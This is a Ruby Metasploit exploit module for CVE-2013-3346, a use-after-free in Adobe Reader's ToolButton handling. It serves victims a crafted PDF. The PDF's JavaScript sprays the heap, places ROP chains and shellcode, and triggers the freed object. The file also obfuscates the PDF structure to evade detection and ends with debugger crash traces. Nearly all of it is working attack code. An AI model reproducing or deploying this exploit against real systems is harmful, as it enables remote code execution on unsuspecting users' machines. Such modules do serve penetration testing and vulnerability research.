355 lines
10 KiB
Ruby
355 lines
10 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::BrowserExploitServer
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def initialize(info={})
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super(update_info(info,
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'Name' => "Adobe Reader ToolButton Use After Free",
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'Description' => %q{
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This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6
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and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
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the cEnable callback can be used to early free the object memory. Later use of the object
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allows triggering the use after free condition. This module has been tested successfully
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on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as exploited in the wild in
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November, 2013. At the moment, this module doesn't support Adobe Reader 9 targets; in order
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to exploit Adobe Reader 9 the fileformat version of the exploit can be used.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Soroush Dalili', # Vulnerability discovery
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'Unknown', # Exploit in the wild
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'sinn3r', # Metasploit module
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2013-3346' ],
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[ 'OSVDB', '96745' ],
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[ 'ZDI', '13-212' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],
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[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]
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],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:os_name => Msf::OperatingSystems::WINDOWS,
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:os_flavor => Msf::OperatingSystems::WindowsVersions::XP,
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:ua_name => Msf::HttpClients::IE
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},
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'Targets' =>
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[
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[ 'Windows XP / IE / Adobe Reader 10/11', { } ],
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],
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'Privileged' => false,
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'DisclosureDate' => "Aug 08 2013",
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'DefaultTarget' => 0))
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end
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def on_request_exploit(cli, request, target_info)
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print_status("request: #{request.uri}")
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js_data = make_js(cli, target_info)
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# Create the pdf
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pdf = make_pdf(js_data)
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print_status("Sending PDF...")
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send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })
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end
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def make_js(cli, target_info)
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# CreateFileMappingA + MapViewOfFile + memcpy rop chain
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rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
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rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
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escaped_payload = Rex::Text.to_unescape(get_payload(cli, target_info))
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js = %Q|
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function heapSpray(str, str_addr, r_addr) {
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var aaa = unescape("%u0c0c");
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aaa += aaa;
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while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
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var i1 = r_addr - 0x24;
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var bbb = aaa.substring(0, i1 / 2);
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var sa = str_addr;
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while (sa.length < (0x0c0c - r_addr)) sa += sa;
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bbb += sa;
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bbb += aaa;
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var i11 = 0x0c0c - 0x24;
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bbb = bbb.substring(0, i11 / 2);
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bbb += str;
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bbb += aaa;
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var i2 = 0x4000 + 0xc000;
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var ccc = bbb.substring(0, i2 / 2);
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while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
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var i3 = (0x1020 - 0x08) / 2;
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var ddd = ccc.substring(0, 0x80000 - i3);
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var eee = new Array();
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for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
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return;
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}
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var shellcode = unescape("#{escaped_payload}");
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var executable = "";
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var rop10 = unescape("#{rop_10}");
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var rop11 = unescape("#{rop_11}");
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var r11 = false;
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var vulnerable = true;
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var obj_size;
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var rop;
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var ret_addr;
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var rop_addr;
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var r_addr;
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if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
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obj_size = 0x360 + 0x1c;
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rop = rop10;
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rop_addr = unescape("%u08e4%u0c0c");
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r_addr = 0x08e4;
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ret_addr = unescape("%ua8df%u4a82");
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} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
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r11 = true;
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obj_size = 0x370;
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rop = rop11;
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rop_addr = unescape("%u08a8%u0c0c");
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r_addr = 0x08a8;
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ret_addr = unescape("%u8003%u4a84");
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} else {
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vulnerable = false;
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}
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if (vulnerable) {
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var payload = rop + shellcode;
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heapSpray(payload, ret_addr, r_addr);
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var part1 = "";
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if (!r11) {
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for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
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}
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part1 += rop_addr;
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var part2 = "";
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var part2_len = obj_size - part1.length * 2;
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for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
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var arr = new Array();
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removeButtonFunc = function () {
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app.removeToolButton({
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cName: "evil"
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});
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for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
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}
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addButtonFunc = function () {
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app.addToolButton({
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cName: "xxx",
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cExec: "1",
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cEnable: "removeButtonFunc();"
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});
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}
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app.addToolButton({
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cName: "evil",
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cExec: "1",
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cEnable: "addButtonFunc();"
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});
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}
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js
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj \n" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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#return str
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_pdf(js)
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xref = []
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eol = "\n"
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endobj = "endobj" << eol
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# Randomize PDF version?
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pdf = "%PDF-1.5" << eol
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pdf << "%" << RandomNonASCIIString(4) << eol
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# catalog
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xref << pdf.length
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pdf << ioDef(1) << nObfu("<<") << eol
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pdf << nObfu("/Pages ") << ioRef(2) << eol
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pdf << nObfu("/Type /Catalog") << eol
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pdf << nObfu("/OpenAction ") << ioRef(4) << eol
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# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load
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pdf << nObfu("/AcroForm ") << ioRef(6) << eol
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pdf << nObfu(">>") << eol
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pdf << endobj
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# pages array
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xref << pdf.length
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pdf << ioDef(2) << nObfu("<<") << eol
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pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol
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pdf << nObfu("/Count 1") << eol
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pdf << nObfu("/Type /Pages") << eol
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pdf << nObfu(">>") << eol
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pdf << endobj
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# page 1
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xref << pdf.length
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pdf << ioDef(3) << nObfu("<<") << eol
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pdf << nObfu("/Parent ") << ioRef(2) << eol
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pdf << nObfu("/Type /Page") << eol
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pdf << nObfu(">>") << eol # end obj dict
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pdf << endobj
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# js action
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xref << pdf.length
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pdf << ioDef(4) << nObfu("<<")
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pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5)
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pdf << nObfu(">>") << eol
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pdf << endobj
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# js stream
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
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pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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###
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# The following form related data is required to get icucnv36.dll / icucnv40.dll to load
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###
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# form object
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xref << pdf.length
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pdf << ioDef(6)
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pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol
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pdf << endobj
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# form stream
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xfa = <<-EOF
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<?xml version="1.0" encoding="UTF-8"?>
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<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
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<config xmlns="http://www.xfa.org/schema/xci/2.6/">
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<present><pdf><interactive>1</interactive></pdf></present>
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</config>
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<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
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<subform name="form1" layout="tb" locale="en_US">
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<pageSet></pageSet>
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</subform></template></xdp:xdp>
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EOF
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xref << pdf.length
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pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol
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pdf << "stream" << eol
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pdf << xfa << eol
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pdf << "endstream" << eol
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pdf << endobj
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###
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# end form stuff for icucnv36.dll / icucnv40.dll
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###
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# trailing stuff
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << eol
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pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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pdf
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end
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end
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=begin
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* crash Adobe Reader 10.1.4
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001
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eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
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AcroRd32_60000000!PDFLTerm+0xbb7cd:
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604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????
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* crash Adobe Reader 11.0.2
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(940.d70): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -
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eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000
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eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
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AcroRd32_60000000!DllCanUnloadNow+0x1493ae:
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60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????
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=end
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